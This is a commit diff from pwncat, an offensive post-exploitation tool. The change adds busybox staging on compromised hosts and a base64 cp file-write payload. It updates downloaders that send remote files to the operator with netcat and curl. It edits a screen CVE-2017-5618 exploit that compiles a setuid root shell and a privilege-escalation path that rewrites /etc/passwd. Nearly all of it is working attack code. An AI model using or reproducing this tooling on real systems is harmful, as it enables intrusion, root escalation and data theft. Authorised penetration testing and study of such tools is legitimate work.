1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added busybox staging. Still need to fix all the references to the new which method.

This commit is contained in:
Caleb Stewart 2020-05-10 16:12:20 -04:00
parent 18e28be292
commit 96bdb89336
11 changed files with 305 additions and 26 deletions

View File

@ -3,6 +3,13 @@
"name": "cat", "name": "cat",
"read_file": "{path} {lfile}" "read_file": "{path} {lfile}"
}, },
{
"name": "cp",
"write_file": {
"type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
}
},
{ {
"name": "bash", "name": "bash",
"shell": { "shell": {

View File

@ -22,11 +22,18 @@ def main():
mutex_group.add_argument( mutex_group.add_argument(
"--reverse", "--reverse",
"-r", "-r",
action="store_true", action="store_const",
dest="type",
const="reverse",
help="Listen on the specified port for connections from a remote host", help="Listen on the specified port for connections from a remote host",
) )
mutex_group.add_argument( mutex_group.add_argument(
"--bind", "-b", action="store_true", help="Connect to a remote host" "--bind",
"-b",
action="store_const",
dest="type",
const="bind",
help="Connect to a remote host",
) )
parser.add_argument( parser.add_argument(
"--host", "--host",
@ -47,13 +54,13 @@ def main():
parser.add_argument( parser.add_argument(
"--method", "--method",
"-m", "-m",
choices=["none", *PtyHandler.OPEN_METHODS.keys()], choices=[*PtyHandler.OPEN_METHODS.keys()],
help="Method to create a pty on the remote host (default: script)", help="Method to create a pty on the remote host (default: script)",
default="script", default="script",
) )
args = parser.parse_args() args = parser.parse_args()
if args.reverse: if args.type == "reverse":
# Listen on a socket for connections # Listen on a socket for connections
util.info(f"binding to {args.host}:{args.port}", overlay=True) util.info(f"binding to {args.host}:{args.port}", overlay=True)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -68,7 +75,7 @@ def main():
except KeyboardInterrupt: except KeyboardInterrupt:
util.warn(f"aborting listener...") util.warn(f"aborting listener...")
sys.exit(0) sys.exit(0)
else: elif args.type == "bind":
util.info(f"connecting to {args.host}:{args.port}", overlay=True) util.info(f"connecting to {args.host}:{args.port}", overlay=True)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((args.host, args.port)) client.connect((args.host, args.port))

View File

@ -15,7 +15,7 @@ class CurlDownloader(HTTPDownloader):
lhost = self.pty.vars["lhost"] lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1] lport = self.server.server_address[1]
curl = self.pty.which("curl") curl = self.pty.which("curl", quote=True)
remote_path = shlex.quote(self.remote_path) remote_path = shlex.quote(self.remote_path)
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}") self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")

View File

@ -15,7 +15,7 @@ class NetcatDownloader(RawDownloader):
lhost = self.pty.vars["lhost"] lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1] lport = self.server.server_address[1]
nc = self.pty.which("nc") nc = self.pty.which("nc", quote=True)
remote_file = shlex.quote(self.remote_path) remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}") self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")

View File

@ -19,15 +19,17 @@ class RawShellDownloader(Downloader):
remote_path = shlex.quote(self.remote_path) remote_path = shlex.quote(self.remote_path)
blocksz = 1024 * 1024 blocksz = 1024 * 1024
binary = self.pty.which("dd") binary = self.pty.which("dd", quote=True)
if binary is None: if binary is None:
binary = self.pty.which("cat") binary = self.pty.which("cat", quote=True)
if "dd" in binary: if "dd" in binary:
pipe = self.pty.subprocess(f"dd if={remote_path} bs={blocksz} 2>/dev/null") pipe = self.pty.subprocess(
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
)
else: else:
pipe = self.pty.subprocess(f"cat {remote_path}") pipe = self.pty.subprocess(f"{binary} {remote_path}")
try: try:
with open(self.local_path, "wb") as filp: with open(self.local_path, "wb") as filp:

View File

@ -14,7 +14,7 @@ from pwncat import util
# privesc_methods = [SetuidMethod, SuMethod] # privesc_methods = [SetuidMethod, SuMethod]
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod] # privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
privesc_methods = [SuMethod, SudoMethod, SetuidMethod, ScreenMethod] privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
# privesc_methods = [ScreenMethod] # privesc_methods = [ScreenMethod]
@ -288,7 +288,8 @@ class Finder:
raise PrivescError("privesc failed") raise PrivescError("privesc failed")
# We need su to privesc w/ file write # We need su to privesc w/ file write
if self.pty.which("su") is None: su_command = self.pty.which("su", quote=True)
if su_command is None:
raise PrivescError("privesc failed") raise PrivescError("privesc failed")
# Read the current content of /etc/passwd # Read the current content of /etc/passwd

View File

@ -24,7 +24,7 @@ from pwncat import util
class ScreenMethod(Method): class ScreenMethod(Method):
name = "screen CVE-2017-5618" name = "screen (CVE-2017-5618)"
BINARIES = ["cc", "screen"] BINARIES = ["cc", "screen"]
def __init__(self, pty: "pwncat.pty.PtyHandler"): def __init__(self, pty: "pwncat.pty.PtyHandler"):
@ -113,15 +113,15 @@ class ScreenMethod(Method):
writer.write_file( writer.write_file(
rootshell_c, rootshell_c,
textwrap.dedent( textwrap.dedent(
""" f"""
#include <stdio.h> #include <stdio.h>
int main(void){ int main(void){{
setuid(0); setuid(0);
setgid(0); setgid(0);
seteuid(0); seteuid(0);
setegid(0); setegid(0);
execvp("/bin/sh", NULL, NULL); execvp("{self.pty.shell}", NULL, NULL);
} }}
""" """
).lstrip(), ).lstrip(),
) )

View File

@ -15,6 +15,8 @@ from prompt_toolkit.document import Document
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.lexers import PygmentsLexer from prompt_toolkit.lexers import PygmentsLexer
import subprocess import subprocess
import requests
import tempfile
import logging import logging
import argparse import argparse
import base64 import base64
@ -176,7 +178,7 @@ class PtyHandler:
"script", "script",
] ]
def __init__(self, client: socket.SocketType): def __init__(self, client: socket.SocketType, has_pty: bool = False):
""" Initialize a new Pty Handler. This will handle creating the PTY and """ Initialize a new Pty Handler. This will handle creating the PTY and
setting the local terminal to raw. It also maintains the state to open a setting the local terminal to raw. It also maintains the state to open a
local terminal if requested and exit raw mode. """ local terminal if requested and exit raw mode. """
@ -190,8 +192,13 @@ class PtyHandler:
self.known_users = {} self.known_users = {}
self.vars = {"lhost": util.get_ip_addr()} self.vars = {"lhost": util.get_ip_addr()}
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]" self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
self.remote_prompt = "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ " self.remote_prompt = (
"\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
"\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
)
self.prompt = self.build_prompt_session() self.prompt = self.build_prompt_session()
self.has_busybox = False
self.busybox_path = None
self.binary_aliases = { self.binary_aliases = {
"python": [ "python": [
"python2", "python2",
@ -204,6 +211,7 @@ class PtyHandler:
"sh": ["bash", "zsh", "dash"], "sh": ["bash", "zsh", "dash"],
"nc": ["netcat", "ncat"], "nc": ["netcat", "ncat"],
} }
self.has_pty = has_pty
# Setup the argument parsers for local the local prompt # Setup the argument parsers for local the local prompt
self.setup_command_parsers() self.setup_command_parsers()
@ -327,9 +335,114 @@ class PtyHandler:
self.privesc = privesc.Finder(self) self.privesc = privesc.Finder(self)
# Attempt to identify architecture
self.arch = self.run("uname -m").decode("utf-8").strip()
# Force the local TTY to enter raw mode # Force the local TTY to enter raw mode
self.enter_raw() self.enter_raw()
def bootstrap_busybox(self, url, method):
""" Utilize the architecture we grabbed from `uname -m` to grab a
precompiled busybox binary and upload it to the remote machine. This
makes uploading/downloading and dependency tracking easier. It also
makes file upload/download safer, since we have a known good set of
commands we can run (rather than relying on GTFObins) """
if self.has_busybox:
util.success("busybox is already available!")
return
busybox_remote_path = self.which("busybox")
if busybox_remote_path is None:
# We use the stable busybox version at the time of writing. This should
# probably be configurable.
busybox_url = url.rstrip("/") + "/busybox-{arch}"
# Attempt to download the busybox binary
r = requests.get(busybox_url.format(arch=self.arch), stream=True)
# No busybox support
if r.status_code == 404:
util.warn(f"no busybox for architecture: {self.arch}")
return
with ProgressBar(f"downloading busybox for {self.arch}") as pb:
counter = pb(int(r.headers["Content-Length"]))
with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
last_update = time.time()
busybox_local_path = filp.name
for chunk in r.iter_content(chunk_size=1024 * 1024):
filp.write(chunk)
counter.items_completed += len(chunk)
if (time.time() - last_update) > 0.1:
pb.invalidate()
counter.stopped = True
pb.invalidate()
time.sleep(0.1)
# Stage a temporary file for busybox
busybox_remote_path = (
self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
)
# Upload busybox using the best known method to the remote server
self.do_upload(
["-m", method, "-o", busybox_remote_path, busybox_local_path]
)
# Make busybox executable
self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")
# Remove local busybox copy
os.unlink(busybox_local_path)
util.success(
f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
)
else:
# Busybox was provided on the system!
util.success(f"busybox already installed on remote system!")
# Check what this busybox provides
util.progress("enumerating provided applets")
pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
provides = pipe.read().decode("utf-8").strip().split("\n")
pipe.close()
# prune any entries which the system marks as SETUID or SETGID
stat = self.which("stat", quote=True)
if stat is not None:
util.progress("enumerating remote binary permissions")
which_provides = [f"`which {p}`" for p in provides]
permissions = (
self.run(f"{stat} -c %A {' '.join(which_provides)}")
.decode("utf-8")
.strip()
.split("\n")
)
new_provides = []
for name, perms in zip(provides, permissions):
if "No such" in perms:
# The remote system doesn't have this binary
continue
if "s" not in perms.lower():
util.progress(f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
new_provides.append(name)
else:
util.progress(f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")
util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
provides = new_provides
# Let the class know we now have access to busybox
self.busybox_provides = provides
self.has_busybox = True
self.busybox_path = busybox_remote_path
def build_prompt_session(self): def build_prompt_session(self):
""" This is kind of gross because of the nested completer, so I broke """ This is kind of gross because of the nested completer, so I broke
it out on it's own. The nested completer must be updated separately it out on it's own. The nested completer must be updated separately
@ -372,11 +485,18 @@ class PtyHandler:
style=PwncatStyle, style=PwncatStyle,
) )
def which(self, name: str, request=True) -> str: def which(self, name: str, request=True, quote=False) -> str:
""" Call which on the remote host and return the path. The results are """ Call which on the remote host and return the path. The results are
cached to decrease the number of remote calls. """ cached to decrease the number of remote calls. """
path = None path = None
if self.has_busybox:
if name in self.busybox_provides:
if quote:
return f"{shlex.quote(self.busybox_path)} {name}"
else:
return f"{self.busybox_path} {name}"
if name in self.known_binaries and self.known_binaries[name] is not None: if name in self.known_binaries and self.known_binaries[name] is not None:
# Cached value available # Cached value available
path = self.known_binaries[name] path = self.known_binaries[name]
@ -389,13 +509,16 @@ class PtyHandler:
if name in self.binary_aliases and path is None: if name in self.binary_aliases and path is None:
# Look for aliases of this command as a last resort # Look for aliases of this command as a last resort
for alias in self.binary_aliases[name]: for alias in self.binary_aliases[name]:
path = self.which(alias) path = self.which(alias, quote=False)
if path is not None: if path is not None:
break break
# Cache the value # Cache the value
self.known_binaries[name] = path self.known_binaries[name] = path
if quote:
path = shlex.quote(path)
return path return path
def process_input(self, data: bytes): def process_input(self, data: bytes):
@ -492,6 +615,31 @@ class PtyHandler:
except KeyboardInterrupt: except KeyboardInterrupt:
continue continue
@with_parser
def do_busybox(self, args):
""" Attempt to upload a busybox binary which we can use as a consistent
interface to local functionality """
if args.action == "list":
if not self.has_busybox:
util.error("busybox hasn't been installed yet (hint: run 'busybox'")
return
util.info("binaries which the remote busybox provides:")
for name in self.busybox_provides:
print(f" * {name}")
elif args.action == "status":
if not self.has_busybox:
util.error("busybox hasn't been installed yet")
return
util.info(
f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
)
util.info(
f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
)
elif args.action == "install":
self.bootstrap_busybox(args.url, args.method)
@with_parser @with_parser
def do_back(self, _): def do_back(self, _):
""" Exit command mode """ """ Exit command mode """
@ -859,6 +1007,9 @@ class PtyHandler:
command = f" {cmd}" command = f" {cmd}"
response = b"" response = b""
eol = b"\r"
if self.has_cr:
eol = b"\r"
# Send the command to the remote host # Send the command to the remote host
self.client.send(command.encode("utf-8") + b"\n") self.client.send(command.encode("utf-8") + b"\n")
@ -866,10 +1017,10 @@ class PtyHandler:
if delim: if delim:
if self.has_echo: if self.has_echo:
# Recieve line ending from output # Recieve line ending from output
self.recvuntil(b"_PWNCAT_STARTDELIM_") # print(1, self.recvuntil(b"_PWNCAT_STARTDELIM_"))
self.recvuntil(b"\n", interp=True) self.recvuntil(b"\n", interp=True)
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) # first in output self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True)
self.recvuntil(b"\n", interp=True) self.recvuntil(b"\n", interp=True)
return b"_PWNCAT_ENDDELIM_" return b"_PWNCAT_ENDDELIM_"
@ -969,7 +1120,7 @@ class PtyHandler:
self.upload_parser.add_argument( self.upload_parser.add_argument(
"--method", "--method",
"-m", "-m",
choices=uploader.get_names(), choices=["", *uploader.get_names()],
default=None, default=None,
help="set the download method (default: auto)", help="set the download method (default: auto)",
) )
@ -999,6 +1150,53 @@ class PtyHandler:
self.back_parser = argparse.ArgumentParser(prog="back") self.back_parser = argparse.ArgumentParser(prog="back")
self.busybox_parser = argparse.ArgumentParser(prog="busybox")
self.busybox_parser.add_argument(
"--method",
"-m",
choices=uploader.get_names(),
default="",
help="set the upload method (default: auto)",
)
self.busybox_parser.add_argument(
"--url",
"-u",
default=(
"https://busybox.net/downloads/binaries/"
"1.31.0-defconfig-multiarch-musl/"
),
help=(
"url to download multiarch busybox binaries"
"(default: 1.31.0-defconfig-multiarch-musl)"
),
)
group = self.busybox_parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--install",
"-i",
action="store_const",
dest="action",
const="install",
default="install",
help="install busybox support for pwncat",
)
group.add_argument(
"--list",
"-l",
action="store_const",
dest="action",
const="list",
help="list all provided applets from the remote busybox",
)
group.add_argument(
"--status",
"-s",
action="store_const",
dest="action",
const="status",
help="show current pwncat busybox status",
)
def whoami(self): def whoami(self):
result = self.run("whoami") result = self.run("whoami")
return result.strip().decode("utf-8") return result.strip().decode("utf-8")

View File

@ -7,6 +7,7 @@ from pwncat.uploader.curl import CurlUploader
from pwncat.uploader.shell import ShellUploader from pwncat.uploader.shell import ShellUploader
from pwncat.uploader.bashtcp import BashTCPUploader from pwncat.uploader.bashtcp import BashTCPUploader
from pwncat.uploader.wget import WgetUploader from pwncat.uploader.wget import WgetUploader
from pwncat.uploader.raw import RawShellUploader
all_uploaders = [ all_uploaders = [
NetcatUploader, NetcatUploader,
@ -14,6 +15,7 @@ all_uploaders = [
ShellUploader, ShellUploader,
BashTCPUploader, BashTCPUploader,
WgetUploader, WgetUploader,
RawShellUploader,
] ]
uploaders = [NetcatUploader, CurlUploader] uploaders = [NetcatUploader, CurlUploader]
fallback = ShellUploader fallback = ShellUploader
@ -27,6 +29,9 @@ def get_names() -> List[str]:
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]: def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
""" Locate an applicable uploader """ """ Locate an applicable uploader """
if hint == "":
hint = None
if hint is not None: if hint is not None:
# Try to return the requested uploader # Try to return the requested uploader
for d in all_uploaders: for d in all_uploaders:

View File

@ -132,6 +132,7 @@ class RawUploader(Uploader):
# Make sure it is accessible to the subclass # Make sure it is accessible to the subclass
local_path = self.local_path local_path = self.local_path
pty = self.pty
class SocketWrapper: class SocketWrapper:
def __init__(self, sock): def __init__(self, sock):
@ -139,7 +140,7 @@ class RawUploader(Uploader):
def write(self, n: int): def write(self, n: int):
try: try:
return self.s.sendall(n) return self.s.send(n)
except socket.timeout: except socket.timeout:
return b"" return b""
@ -150,6 +151,7 @@ class RawUploader(Uploader):
with open(local_path, "rb") as filp: with open(local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(self.request), on_progress) util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
self.request.close() self.request.close()
pty.client.send(util.CTRL_C)
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)

57
pwncat/uploader/raw.py Normal file
View File

@ -0,0 +1,57 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from io import BufferedReader
import base64
import shlex
import socket
import os
from pwncat.uploader.base import Uploader, UploadError
from pwncat import util
class RawShellUploader(Uploader):
NAME = "raw"
BINARIES = ["dd"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
file_sz = os.path.getsize(self.local_path) - 1
# Put the remote terminal in raw mode
self.pty.raw()
self.pty.process(
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
)
pty = self.pty
class SocketWrapper:
def write(self, data):
try:
n = pty.client.send(data)
except socket.error:
return 0
return n
try:
with open(self.local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
finally:
self.on_progress(0, -1)
# Get back to a terminal
self.pty.client.send(util.CTRL_C)
self.pty.reset()
return False
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress